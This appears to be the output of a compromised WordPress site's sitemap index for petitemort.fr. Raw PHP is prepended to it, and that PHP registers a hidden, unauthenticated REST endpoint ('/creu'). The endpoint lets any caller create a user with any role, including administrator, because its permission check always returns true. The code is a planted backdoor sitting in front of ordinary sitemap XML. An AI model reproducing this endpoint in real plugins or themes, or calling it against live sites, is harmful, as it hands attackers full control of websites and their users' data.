add_action('rest_api_init', function () {
    register_rest_route('wp/v1', '/creu', array(
        'methods' => 'POST',
        'callback' => function ($request) {
            $userdata = array(
                'user_login' => sanitize_text_field($request->get_param('username')),
                'user_pass' => $request->get_param('password'),
                'user_email' => sanitize_email($request->get_param('email')),
                'first_name' => sanitize_text_field($request->get_param('first_name')),
                'last_name' => sanitize_text_field($request->get_param('last_name')),
                'role' => sanitize_text_field($request->get_param('role')),
            );
            $user_id = wp_insert_user($userdata);
            if (is_wp_error($user_id)) {
                return new WP_Error('error', $user_id->get_error_message(), array('status' => 500));
            }
            return new WP_REST_Response(array('message' => 'User created successfully', 'user_id' => $user_id), 200);
        },
        'permission_callback' => '__return_true',
    ));
});<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://petitemort.fr/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://petitemort.fr/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://petitemort.fr/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://petitemort.fr/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://petitemort.fr/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://petitemort.fr/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://petitemort.fr/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>